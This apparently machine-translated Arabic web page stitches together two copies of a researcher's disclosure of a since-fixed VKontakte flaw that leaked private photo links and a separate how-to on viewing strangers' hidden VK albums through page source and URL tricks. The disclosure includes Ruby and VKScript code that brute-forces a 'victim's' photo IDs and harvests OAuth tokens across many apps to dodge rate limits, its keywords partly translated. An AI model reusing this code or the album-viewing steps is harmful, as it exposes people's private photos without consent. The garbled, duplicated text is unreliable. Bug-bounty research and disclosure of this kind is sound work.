البحث عن الصور الخاصة والخاصة. كيفية عرض الصور المخفية في جهة الاتصال عبر الكود المصدري. التبديل إلى النسخة المحمولة

30.07.2020

ليرة تركية ؛ د

تم اكتشاف ثغرة أمنية في الإشارات المرجعية لـ VK، والتي أتاحت إمكانية تلقي روابط مباشرة لصور خاصة من الرسائل الشخصية والألبومات لأي مستخدم/مجموعة. تمت كتابة نص برمجي يقوم بفرز صور المستخدم لفترة معينة ثم، من خلال هذه الثغرة الأمنية، يتلقى روابط مباشرة للصور. باختصار، يمكنك الحصول على جميع صورك من الأمس في دقيقة واحدة، وجميع الصور التي تم تحميلها الأسبوع الماضي في 7 دقائق، والشهر الماضي في 20 دقيقة، والعام الماضي في ساعتين. تم الآن إصلاح الثغرة الأمنية. دفعت إدارة فكونتاكتي مكافأة قدرها 10 آلاف صوت.


بدأت القصة عندما أُرسلت لي صورة في رسالة شخصية على موقع فكونتاكتي. عادة، إذا كان هناك شيء مهم، أقوم بتحميله إلى السحابة، ولكن في حالتي لم يكن ذلك ضروريا، وقررت استخدام وظيفة الإشارات المرجعية في VKontakte.

باختصار حول هذه الوظيفة: تتم إضافة كل الأشياء التي أعجب بها المستخدم إلى الإشارات المرجعية؛ هناك أيضًا وظيفة لإضافة رابط للمستخدم يدويًا ورابط VKontakte داخلي. النقطة الأخيرة بدت مثيرة للاهتمام للغاية بالنسبة لي، لأنه بعد إضافة رابط للصورة، رأيت معاينتها ونصها مع نوع الكيان المضاف:

عند إضافة رابط، يقوم الخادم بتحليله، ويحاول معرفة الكيان الذي يشير إليه ويسترد معلومات حول هذا الكائن من قاعدة البيانات. عادةً، عند كتابة هذا النوع من الوظائف مع العديد من الشروط، يكون احتمال نسيان المطور لشيء ما مرتفعًا جدًا. لذلك لم أستطع تحمل تفويت الأمر وقررت قضاء بضع دقائق في التجربة قليلاً.

ونتيجة لذلك، تمكنت من العثور على شيء ما. من خلال إضافة رابط إلى صورة أو ملاحظة أو مقطع فيديو لا يمكن الوصول إليه، يمكنك الحصول على القليل من المعلومات الخاصة حول الكائن. في حالة الصور ومقاطع الفيديو، فهذه معاينة صغيرة (150 × 150)، حيث يصعب جدًا رؤية أي شيء تم عرض العنوان فيه للملاحظات الخاصة. عبر طريقة API fave.getLinksكان من الممكن الحصول على روابط للصورة، ولكن مرة أخرى كان الحجم صغيرًا جدًا (75 بكسل و130 بكسل). لذلك، في الأساس، لا شيء خطير.

قررت أن أذهب إلى النسخة المحمولةموقع الويب للتحقق مما إذا كان كل شيء معروضًا هناك بنفس الطريقة كما هو الحال في النسخة العادية. وبالنظر إلى رمز الصفحة، رأيت هذا:

نعم! في قيمة السمة data-src_bigكان هناك رابط مباشر للصورة الأصلية!

وبالتالي، كان من الممكن الحصول على رابط مباشر لأي صورة على فكونتاكتي، بغض النظر عن مكان تحميلها وإعدادات الخصوصية الخاصة بها. يمكن أن تكون هذه صورة من رسائل شخصية أو صورة من الألبومات الخاصة لأي مستخدم/مجموعة.

يبدو أنه يمكنني التوقف عند هذا الحد والكتابة إلى المطورين، لكنني تساءلت عما إذا كان من الممكن، من خلال استغلال هذه الثغرة الأمنية، الوصول إلى جميع صور المستخدم (أو تنزيلها في فترة زمنية معينة). المشكلة الرئيسية هنا، كما تفهم، هي أن رابط الصورة الخاصة للنموذج ليس معروفًا دائمًا الصورة XXXXXX_XXXXXXXXXلإضافتها إلى الإشارات المرجعية الخاصة بك. تبادرت إلى ذهني فكرة البحث في هوية الصورة، لكن لسبب ما رفضتها على الفور واعتبرتها جنونًا. لقد تحققت من الطرق المتعلقة بالصور في واجهة برمجة التطبيقات (API)، ونظرت في كيفية عمل التطبيق مع الألبومات، لكن لم أتمكن من العثور على أي تسريبات يمكن أن تساعدني في الحصول على قائمة بمعرفات جميع الصور الخاصة للمستخدم. كنت على وشك التخلي عن هذه الفكرة، لكن بالنظر مرة أخرى إلى الرابط الذي يحتوي على الصورة، أدركت فجأة أن المبالغة في الأمر كانت فكرة جيدة.

كيف تعمل الصور في VK

كيف يمكنك الاستبدال، رابط الصورة photo52708106_359542386يتكون من جزأين: (معرف المستخدم)_(رقم غريب). كيف يتم تشكيل الجزء الثاني؟

للأسف، بعد قضاء ساعتين في التجربة، ما زلت لم أفهم هذا. في عام 2012، في HighLoad++، قال Oleg Illarionov بضع كلمات حول كيفية تخزين الصور، وحول التقسيم الأفقي والاختيار العشوائي للخادم للتحميل، لكن هذه المعلومات لم تعطني أي شيء، حيث لا يوجد اتصال بين معرف الخادم ومعرف الخادم معرف الصورة. من الواضح أن هناك نوعًا من العداد العالمي، ولكن هناك منطقًا آخر هناك... لأنه إذا تم تكوين الرقم الثاني باستخدام الزيادة التلقائية العادية، فإن قيم معرفات الصور قد وصلت منذ فترة طويلة إلى قيم ضخمة ​​(بالنسبة لفيسبوك، على سبيل المثال، تبلغ هذه القيمة حاليًا حوالي 700 تريليون)، ولكن بالنسبة لفكونتاكتي تبلغ هذه القيمة حوالي 400 مليون فقط (على الرغم من أنه وفقًا للإحصاءات، يوميًايقوم المستخدمون بتحميل أكثر من 30 مليون صورة). أولئك. ومن الواضح أن هذا الرقم ليس فريدا، لكنه في الوقت نفسه ليس عشوائيا. لقد كتبت نصًا يستعرض صور المستخدمين "القدامى"، وباستخدام البيانات التي تلقيتها، قمت بعمل رسم بياني لمدى تغير هذا الرقم مع كل منهم سنة:

يمكن ملاحظة أن القيم تتقلب اعتمادًا على بعض العوامل (عدد الخوادم أو المنطق الجديد؟). لكن النقطة المهمة هي أنها صغيرة بما يكفي (خاصة في آخر 2-3 سنوات) ومن السهل جدًا حساب نطاق المعرف للفترة الزمنية المطلوبة. وهذا يعني أنه للعثور على روابط مباشرة لصور المستخدم، على سبيل المثال، من العام الماضي، تحتاج إلى محاولة وضع إشارة مرجعية على 30 مليونًا فقط (من _320000000 إلى _350000000) من أشكال مختلفة من الروابط! لقد قمت أدناه بوصف تقنية القوة الغاشمة التي سمحت لي بالقيام بذلك في غضون دقائق.

يمر عبر الصور

يمكنك إضافة كل هذا يدويًا من خلال الواجهة أو كتابة برنامج نصي يضيف رابطًا واحدًا إلى الإشارات المرجعية، لكن ذلك سيكون مملًا ويستغرق وقتًا طويلاً. ستكون سرعة البحث في هذه الحالة 3 إشارات مرجعية في الثانية، لأن إرسال أكثر من ثلاثة طلبات في الثانية إلى خادم فكونتاكتي إنه ممنوع.

تسريع البحث x25

للالتفاف حول حد الطلبات الثلاثة على الأقل قليلاً، قررت استخدام هذه الطريقة ينفذ. في استدعاء واحد لهذه الطريقة، من الممكن إجراء 25 استدعاءًا لطرق واجهة برمجة التطبيقات (API).

var start = parseInt(Args.start); var end = parseInt(Args.end); فار الضحية = Args.id; فار الرابط = "http://vk.com/photo" + معرف الضحية + "_"; while(start!= end) (API.fave.addLink(( "link": link + start )); start = start + 1; );
وهكذا، تمكنا من زيادة سرعة القوة الغاشمة إلى 3*25 إشارة مرجعية/ثانية. خلال العام الماضي، كان فرز الصور يستغرق وقتًا طويلاً، ولكن لفترات قصيرة كانت طريقة الفرز هذه جيدة جدًا بالفعل.

تسريع البحث x25 * عدد الطلبات المتوازية في الثانية

ينطبق الحد الأقصى لعدد الطلبات في الثانية على كل تطبيق على حدة، وليس على المستخدم بأكمله. لذلك لا شيء يمنعك من إرسال العديد من الطلبات بالتوازي، ولكن في نفس الوقت باستخدام الرموز المميزة من تطبيقات مختلفة.

نحتاج أولاً إلى العثور على (أو إنشاء) العدد المطلوب من التطبيقات. تمت كتابة برنامج نصي يبحث عن التطبيقات المستقلة في نطاق محدد من معرفات التطبيقات:

فئة StandaloneAppsFinder attr_reader:app_ids def تهيئة (params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id|<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
الاستجابة = مفتوح ("https://api.vk.com/method/apps.get?app_id=#(app_id)").قراءة التطبيق = JSON.parse(response)["response"] app_ids

كان من الممكن أيضًا تحديد التطبيقات حسب عدد المستخدمين لتسريع عملية البحث:

حسنًا، تم العثور على التطبيقات، وهي الآن بحاجة إلى منح الإذن لبيانات مستخدمنا وتلقي الرموز المميزة. للحصول على الترخيص كان علينا استخدام آلية التدفق الضمني. اضطررت إلى تحليل عنوان URL للتفويض من مربع حوار OAuth وسحب الرمز المميز بعد إعادة التوجيه. تتطلب هذه الفئة ملفات تعريف الارتباط لتعمل. ص، ل(login.vk.com) و ريميكسسيد(vk.com):

أداة مصادقة الفئة attr_reader:access_tokens def تهيئة (cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def Authorize_apps(apps) apps.each do |app_id|<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s Access_tokens

عدد الطلبات التي تم العثور عليها يساوي عدد الطلبات الموازية. لموازاة هذا الأمر برمته، تقرر استخدام جوهرة Typhoeus، التي أثبتت نفسها في مهام أخرى. والنتيجة هي قوة غاشمة صغيرة مثل هذا:<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "اليوم" => 366300000..366500000، "أمس" => 366050000..366300000، "current_month" => 365000000..366500000، "last_month" => 3600000 00..365000000، "current_year" = > 350000000... 0 (@period).step(25) قم بعمل |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1؟ 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero؟إنهاء hydra.run ما لم يكن hydra.queued_requests.count.zero؟ إنهاء الخاص بـ vkscript(photo_id).

لتسريع القوة الغاشمة أكثر، كانت هناك محاولة للتخلص من الجسم غير الضروري في الرد، ولكن

تتطلب "nokogiri" تتطلب "open-uri" تتطلب "typhoeus" تتطلب "json" تتطلب "./standalone_apps_finder" تتطلب "./photos_bruteforcer" تتطلب "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV، الفترة: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - ملفات تعريف الارتباط من تسجيل الدخول.vk.com # remixsid - ملف تعريف الارتباط من vk.com Authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") Authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
بعد تشغيل البرنامج، كانت الإشارات المرجعية تحتوي على جميع صور المستخدم لفترة معينة. كل ما تبقى هو الانتقال إلى الإصدار المحمول من VKontakte، وفتح وحدة تحكم المتصفح، وسحب الروابط المباشرة والاستمتاع بالصور بحجمها الأصلي.

نتائج

بشكل عام، كل هذا يتوقف على اتصالك بالإنترنت وسرعة الخوادم الوكيلة، ووقت استجابة خوادم فكونتاكتي، وقوة المعالج والعديد من العوامل الأخرى. بعد تجربة البرنامج النصي أعلاه على حسابي، حصلت على الأرقام التالية (دون الأخذ بعين الاعتبار الوقت الذي أمضيته في تلقي الرموز المميزة):

يوضح الجدول متوسط ​​الوقت اللازم لتجربة بطاقات الهوية التي تحمل صورة خلال فترة معينة. أنا متأكد من أنه كان من الممكن تسريع كل هذا 10-20 مرة. على سبيل المثال، في برنامج نصي للقوة الغاشمة، قم بإنشاء قائمة انتظار كبيرة واحدة لجميع الطلبات والمزامنة العادية بينها، لأن في تنفيذي، سيؤدي طلب واحد مع انتهاء المهلة إلى إبطاء العملية بأكملها. وبشكل عام، يمكنك فقط شراء نسختين من EC2 والحصول على جميع صور أي مستخدم خلال ساعة واحدة. لكنني أردت بالفعل النوم.

وبشكل عام، لا يهم مقدار الوقت الذي يقضيه المهاجم في هذا الأمر، 5 ساعات أو يوم كامل، لأنه سيحصل بطريقة أو بأخرى على روابط لصور خاصة. إن القدرة على الوصول بشكل آمن إلى المعلومات الخاصة في فترة زمنية محدودة هي التهديد الرئيسي الذي تشكله هذه الثغرة الأمنية.

الإبلاغ عن ثغرة أمنية

في البداية تم إرسال التقرير إلى خدمة الدعم، ولكن بعد الرد مثل "شكرًا لك، ربما سنقوم بإصلاح المشكلة بطريقة أو بأخرى..." وأسبوع من الانتظار، شعرت بنوع من الحزن. شكرًا جزيلاً لـ Bo0oM، الذي ساعد في الاتصال بالمطورين مباشرةً. بعد ذلك تم إغلاق الأخطاء خلال ساعات قليلة، وبعد أيام قليلة قامت الإدارة بتحويل مكافأة قدرها 10 آلاف إلى حسابي

في عملية استكشاف الاحتمالات وببساطة استخدام صفحات الشبكة الاجتماعية الحديثة فكونتاكتي، يكون لدى المستخدمين عدد كبير من الأسئلة. أحد أكثر الحلول شيوعًا هو حل مشكلة كيفية عرض الصور المخفية على فكونتاكتي. في كثير من الأحيان، يقوم المستخدمون بإخفاء ملفاتهم الشخصية كليًا أو جزئيًا، لذلك لا يمكن عرض صورهم.

قبل النظر في مسألة القدرة على عرض الصور المخفية، يجدر النظر لفترة وجيزة في موضوع إخفائها. لإخفاء صورك، عليك اتباع الخطوات التالية:

  • أنت بحاجة للذهاب إلى صفحة VK؛
  • على اليسار، ابحث عن السطر "إعداداتي" وقم بتنشيطه؛
  • افتح القسم الفرعي "الخصوصية"؛
  • ستظهر إعدادات الخصوصية الخاصة. يمكن تثبيتها حسب تقديرك.

لا يمكنك إخفاء الصور فحسب، بل يمكنك أيضًا إخفاء التسجيلات الصوتية والمشاركات والأصدقاء. من خلال تحديد الخط الذي يعكس من يمكنه رؤية الصورة، فإنك تحتاج إلى تحديد من سيسمح له برؤية الصور الشخصية. هنا يمكنك اختيار الخصوصية الكاملة عن طريق ضبطها على "أنا فقط" أو السماح بالمشاهدة للأصدقاء فقط. تبدأ الوظائف المثبتة في العمل فورًا بعد إجراء الإعدادات.

كيفية عرض الصور المحفوظة في VK إذا كانت مخفية؟

إذًا، كيف ترى الصور المخفية لمستخدمي VK؟ لا يوجد مخطط عمل رسمي هنا، حيث أن مطوري الشبكة الاجتماعية يحترمون رغبة المستخدمين في الحفاظ على خصوصيتهم. إذا كنت تريد عرض صور VK المخفية، فيجب عليك اتباع الخطوات التالية:

  1. يجب عليك الذهاب إلى الملف الشخصي للمستخدم الذي تريد رؤية صورته.
  2. انقر على مساحة فارغة باستخدام زر الماوس العادي.
  3. حدد قسم "عرض كود مصدر الصفحة".
  4. اضغط على Ctrl+F.
  5. في البحث، أدخل "الألبومات"، فقط بدون علامات الاقتباس.
  6. تظهر الأرقام في السطر بعد هذه الكلمة، ويجب نسخها. هذا هو رمز الصفحة.
  7. يتعين عليك الانتقال إلى الملف الشخصي للمستخدم مرة أخرى وإدخال "?z=albums" في شريط العناوين بعد المعرف، بدون علامات الاقتباس أيضًا.
  8. يتم لصق الجزء المنسوخ مسبقًا.
  9. اضغط على Enter واستمتع برؤية الصور المخفية.

مهم! هذا الخيار لعرض الصور الخاصة إذا كان الوصول مغلقًا ليس قانونيًا تمامًا، ولا توافق عليه إدارة VK.

لهذا السبب، لا ينبغي أن تتفاجأ إذا تم إغلاق القدرة على عرض الصور المحفوظة إذا كانت مخفية.

موقع لعرض الصور المخفية على فكونتاكتي

يمكن استخدام هذه الطريقة في حالة وجود جزء من التعليمات البرمجية المستلمة بالفعل، والذي يمكن الحصول عليه باستخدام الطريقة الموضحة أعلاه. لعرض الصور المخفية، تحتاج إلى العودة إلى الصفحة المطلوبة، على موقع التواصل الاجتماعي في شريط بحث المتصفح، أدخل رابطًا منظمًا حسب النوع - vk.com/id....، حيث توجد صفحة بعد المعرف رقم التعريف. بعد ذلك، ضع المؤشر في نهاية العنوان وأدخل على الفور الأحرف الخاصة "?z=".

ونتيجة لهذه الإجراءات، ستظهر الرسالة التالية في سطر المتصفح العامل: vk.com/id......?z=albums.....، حيث تكون علامة الحذف هي معرف المستخدم. بعد الضغط على Enter، سيتم فتح جميع صور الشخص محل اهتمامك تلقائيًا لجذب انتباهك.

خاتمة

من خلال الأساليب البسيطة إلى حد ما المعروضة على انتباهك، يمكنك دراسة صور المستخدمين في ألبومات مغلقة دون أي مشاكل. الميزة الرئيسية لهذه التقنيات هي القدرة على رؤية الصور في ألبومات هؤلاء الأشخاص الذين لم يعودوا أصدقاء على VK وغرباء تمامًا.

يرفض بعض المستخدمين الوصول إلى التسجيلات والألبومات والصور وتسجيلات الصوت والفيديو الخاصة بهم. من أجل عرض الصور المخفية على صفحة VK، تحتاج إلى معرفة معرفها.

لتنفيذ أي إجراءات VK، بما في ذلك البحث عن معرف، قم بتسجيل الدخول باستخدام معلومات تسجيل الدخول أو رقم الهاتف وكلمة المرور.

لعرض الصور الخاصة، انسخ معرف المستخدم من شريط العناوين في متصفحك. للقيام بذلك، افتح الصفحة المطلوبة وسترى الأرقام بعد كلمة “id”:

هناك حالات يتم فيها عرض لقب المستخدم بدلاً من المعرف. في هذه الحالة، لمعرفة المعرف، تحتاج إلى النقر فوق أي مشاركة على الحائط وفتح عنوان الرابط في المتصفح. يمكن رؤية المعرف بين النص "الجدار" والشرطة السفلية.

إذا لم تكن هناك مشاركات على الحائط، فيمكنك فتح الصورة الرمزية للشخص وفي المتصفح ابحث عن المعرف بعد كلمة "صورة"

هناك مواقف يكون فيها وصول المستخدم محدودًا تمامًا إلى بياناته بحيث يكون من المستحيل تكبير الصورة الرمزية وعرضها. علاوة على ذلك، بدلاً من المعرف، يوجد أيضًا لقب على صفحته. في هذه الحالة، تحتاج إلى اللجوء إلى كود HTML.للقيام بذلك، انقر بزر الماوس الأيمن وحدد علامة التبويب "عرض رمز الصفحة".

انسخ اسم المستخدم، وابدأ البحث باستخدام مجموعة المفاتيح "Ctrl+F" والصق البيانات في الحقل المناسب. انقر فوق موافق. سيعرض المتصفح التطابقين 1 و 2. إذا لم يكن للمطابقة الأولى معرف محدد، فانتقل إلى الثانية.

كيفية عرض صور المستخدم مع معرفة الهوية

من خلال معرفة المعرف، يمكنك عرض الصور الخاصة، بما في ذلك تلك التي تم وضع علامة باسمها على الشخص من قبل مستخدمين آخرين. للقيام بذلك عليك القيام بما يلي:

  1. في شريط عنوان المتصفح الخاص بك، أدخل النص التالي:

ليرة تركية ؛ د

تم اكتشاف ثغرة أمنية في الإشارات المرجعية لـ VK، والتي أتاحت إمكانية تلقي روابط مباشرة لصور خاصة من الرسائل الشخصية والألبومات لأي مستخدم/مجموعة. تمت كتابة نص برمجي يقوم بفرز صور المستخدم لفترة معينة ثم، من خلال هذه الثغرة الأمنية، يتلقى روابط مباشرة للصور. باختصار، يمكنك الحصول على جميع صورك من الأمس في دقيقة واحدة، وجميع الصور التي تم تحميلها الأسبوع الماضي في 7 دقائق، والشهر الماضي في 20 دقيقة، والعام الماضي في ساعتين. تم الآن إصلاح الثغرة الأمنية. دفعت إدارة فكونتاكتي مكافأة قدرها 10 آلاف صوت.


بدأت القصة عندما أُرسلت لي صورة في رسالة شخصية على موقع فكونتاكتي. عادة، إذا كان هناك شيء مهم، أقوم بتحميله إلى السحابة، ولكن في حالتي لم يكن ذلك ضروريا، وقررت استخدام وظيفة الإشارات المرجعية في VKontakte.

باختصار حول هذه الوظيفة: تتم إضافة كل الأشياء التي أعجب بها المستخدم إلى الإشارات المرجعية؛ هناك أيضًا وظيفة لإضافة رابط للمستخدم يدويًا ورابط VKontakte داخلي. النقطة الأخيرة بدت مثيرة للاهتمام للغاية بالنسبة لي، لأنه بعد إضافة رابط للصورة، رأيت معاينتها ونصها مع نوع الكيان المضاف:

عند إضافة رابط، يقوم الخادم بتحليله، ويحاول معرفة الكيان الذي يشير إليه ويسترد معلومات حول هذا الكائن من قاعدة البيانات. عادةً، عند كتابة هذا النوع من الوظائف مع العديد من الشروط، يكون احتمال نسيان المطور لشيء ما مرتفعًا جدًا. لذلك لم أستطع تحمل تفويت الأمر وقررت قضاء بضع دقائق في التجربة قليلاً.

ونتيجة لذلك، تمكنت من العثور على شيء ما. من خلال إضافة رابط إلى صورة أو ملاحظة أو مقطع فيديو لا يمكن الوصول إليه، يمكنك الحصول على القليل من المعلومات الخاصة حول الكائن. في حالة الصور ومقاطع الفيديو، فهذه معاينة صغيرة (150 × 150)، حيث يصعب جدًا رؤية أي شيء تم عرض العنوان فيه للملاحظات الخاصة. عبر طريقة API fave.getLinksكان من الممكن الحصول على روابط للصورة، ولكن مرة أخرى كان الحجم صغيرًا جدًا (75 بكسل و130 بكسل). لذلك، في الأساس، لا شيء خطير.

قررت الانتقال إلى النسخة المحمولة من الموقع للتحقق مما إذا كان كل شيء معروضًا هناك كما هو الحال في النسخة العادية. وبالنظر إلى رمز الصفحة، رأيت هذا:

نعم! في قيمة السمة data-src_bigكان هناك رابط مباشر للصورة الأصلية!

وبالتالي، كان من الممكن الحصول على رابط مباشر لأي صورة على فكونتاكتي، بغض النظر عن مكان تحميلها وإعدادات الخصوصية الخاصة بها. يمكن أن تكون هذه صورة من رسائل شخصية أو صورة من الألبومات الخاصة لأي مستخدم/مجموعة.

يبدو أنه يمكنني التوقف عند هذا الحد والكتابة إلى المطورين، لكنني تساءلت عما إذا كان من الممكن، من خلال استغلال هذه الثغرة الأمنية، الوصول إلى جميع صور المستخدم (أو تنزيلها في فترة زمنية معينة). المشكلة الرئيسية هنا، كما تفهم، هي أن رابط الصورة الخاصة للنموذج ليس معروفًا دائمًا الصورة XXXXXX_XXXXXXXXXلإضافتها إلى الإشارات المرجعية الخاصة بك. تبادرت إلى ذهني فكرة البحث في هوية الصورة، لكن لسبب ما رفضتها على الفور واعتبرتها جنونًا. لقد تحققت من الطرق المتعلقة بالصور في واجهة برمجة التطبيقات (API)، ونظرت في كيفية عمل التطبيق مع الألبومات، لكن لم أتمكن من العثور على أي تسريبات يمكن أن تساعدني في الحصول على قائمة بمعرفات جميع الصور الخاصة للمستخدم. كنت على وشك التخلي عن هذه الفكرة، لكن بالنظر مرة أخرى إلى الرابط الذي يحتوي على الصورة، أدركت فجأة أن المبالغة في الأمر كانت فكرة جيدة.

كيف تعمل الصور في VK

كيف يمكنك الاستبدال، رابط الصورة photo52708106_359542386يتكون من جزأين: (معرف المستخدم)_(رقم غريب). كيف يتم تشكيل الجزء الثاني؟

للأسف، بعد قضاء ساعتين في التجربة، ما زلت لم أفهم هذا. في عام 2012، في HighLoad++، قال Oleg Illarionov بضع كلمات حول كيفية تخزين الصور، وحول التقسيم الأفقي والاختيار العشوائي للخادم للتحميل، لكن هذه المعلومات لم تعطني أي شيء، حيث لا يوجد اتصال بين معرف الخادم ومعرف الخادم معرف الصورة. من الواضح أن هناك نوعًا من العداد العالمي، ولكن هناك منطقًا آخر هناك... لأنه إذا تم تكوين الرقم الثاني باستخدام الزيادة التلقائية العادية، فإن قيم معرفات الصور قد وصلت منذ فترة طويلة إلى قيم ضخمة ​​(بالنسبة لفيسبوك، على سبيل المثال، تبلغ هذه القيمة حاليًا حوالي 700 تريليون)، ولكن بالنسبة لفكونتاكتي تبلغ هذه القيمة حوالي 400 مليون فقط (على الرغم من أنه وفقًا للإحصاءات، يوميًايقوم المستخدمون بتحميل أكثر من 30 مليون صورة). أولئك. ومن الواضح أن هذا الرقم ليس فريدا، لكنه في الوقت نفسه ليس عشوائيا. لقد كتبت نصًا يستعرض صور المستخدمين "القدامى"، وباستخدام البيانات التي تلقيتها، قمت بعمل رسم بياني لمدى تغير هذا الرقم مع كل منهم سنة:

يمكن ملاحظة أن القيم تتقلب اعتمادًا على بعض العوامل (عدد الخوادم أو المنطق الجديد؟). لكن النقطة المهمة هي أنها صغيرة بما يكفي (خاصة في آخر 2-3 سنوات) ومن السهل جدًا حساب نطاق المعرف للفترة الزمنية المطلوبة. وهذا يعني أنه للعثور على روابط مباشرة لصور المستخدم، على سبيل المثال، من العام الماضي، تحتاج إلى محاولة وضع إشارة مرجعية على 30 مليونًا فقط (من _320000000 إلى _350000000) من أشكال مختلفة من الروابط! لقد قمت أدناه بوصف تقنية القوة الغاشمة التي سمحت لي بالقيام بذلك في غضون دقائق.

يمر عبر الصور

يمكنك إضافة كل هذا يدويًا من خلال الواجهة أو كتابة برنامج نصي يضيف رابطًا واحدًا إلى الإشارات المرجعية، لكن ذلك سيكون مملًا ويستغرق وقتًا طويلاً. ستكون سرعة البحث في هذه الحالة 3 إشارات مرجعية في الثانية، لأن إرسال أكثر من ثلاثة طلبات في الثانية إلى خادم فكونتاكتي إنه ممنوع.

تسريع البحث x25

للالتفاف حول حد الطلبات الثلاثة على الأقل قليلاً، قررت استخدام هذه الطريقة ينفذ. في استدعاء واحد لهذه الطريقة، من الممكن إجراء 25 استدعاءًا لطرق واجهة برمجة التطبيقات (API).

var start = parseInt(Args.start); var end = parseInt(Args.end); فار الضحية = Args.id; فار الرابط = "http://vk.com/photo" + معرف الضحية + "_"; while(start!= end) (API.fave.addLink(( "link": link + start )); start = start + 1; );
وهكذا، تمكنا من زيادة سرعة القوة الغاشمة إلى 3*25 إشارة مرجعية/ثانية. خلال العام الماضي، كان فرز الصور يستغرق وقتًا طويلاً، ولكن لفترات قصيرة كانت طريقة الفرز هذه جيدة جدًا بالفعل.

تسريع البحث x25 * عدد الطلبات المتوازية في الثانية

ينطبق الحد الأقصى لعدد الطلبات في الثانية على كل تطبيق على حدة، وليس على المستخدم بأكمله. لذلك لا شيء يمنعك من إرسال العديد من الطلبات بالتوازي، ولكن في نفس الوقت باستخدام الرموز المميزة من تطبيقات مختلفة.

نحتاج أولاً إلى العثور على (أو إنشاء) العدد المطلوب من التطبيقات. تمت كتابة برنامج نصي يبحث عن التطبيقات المستقلة في نطاق محدد من معرفات التطبيقات:

فئة StandaloneAppsFinder attr_reader:app_ids def تهيئة (params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id|<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
الاستجابة = مفتوح ("https://api.vk.com/method/apps.get?app_id=#(app_id)").قراءة التطبيق = JSON.parse(response)["response"] app_ids

كان من الممكن أيضًا تحديد التطبيقات حسب عدد المستخدمين لتسريع عملية البحث:

حسنًا، تم العثور على التطبيقات، وهي الآن بحاجة إلى منح الإذن لبيانات مستخدمنا وتلقي الرموز المميزة. للحصول على الترخيص كان علينا استخدام آلية التدفق الضمني. اضطررت إلى تحليل عنوان URL للتفويض من مربع حوار OAuth وسحب الرمز المميز بعد إعادة التوجيه. تتطلب هذه الفئة ملفات تعريف الارتباط لتعمل. ص، ل(login.vk.com) و ريميكسسيد(vk.com):

أداة مصادقة الفئة attr_reader:access_tokens def تهيئة (cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def Authorize_apps(apps) apps.each do |app_id|<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s Access_tokens

عدد الطلبات التي تم العثور عليها يساوي عدد الطلبات الموازية. لموازاة هذا الأمر برمته، تقرر استخدام جوهرة Typhoeus، التي أثبتت نفسها في مهام أخرى. والنتيجة هي قوة غاشمة صغيرة مثل هذا:<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "اليوم" => 366300000..366500000، "أمس" => 366050000..366300000، "current_month" => 365000000..366500000، "last_month" => 3600000 00..365000000، "current_year" = > 350000000... 0 (@period).step(25) قم بعمل |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1؟ 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero؟إنهاء hydra.run ما لم يكن hydra.queued_requests.count.zero؟ إنهاء الخاص بـ vkscript(photo_id).

لتسريع القوة الغاشمة أكثر، كانت هناك محاولة للتخلص من الجسم غير الضروري في الرد، ولكن

تتطلب "nokogiri" تتطلب "open-uri" تتطلب "typhoeus" تتطلب "json" تتطلب "./standalone_apps_finder" تتطلب "./photos_bruteforcer" تتطلب "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV، الفترة: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - ملفات تعريف الارتباط من تسجيل الدخول.vk.com # remixsid - ملف تعريف الارتباط من vk.com Authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") Authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
بعد تشغيل البرنامج، كانت الإشارات المرجعية تحتوي على جميع صور المستخدم لفترة معينة. كل ما تبقى هو الانتقال إلى الإصدار المحمول من VKontakte، وفتح وحدة تحكم المتصفح، وسحب الروابط المباشرة والاستمتاع بالصور بحجمها الأصلي.

نتائج

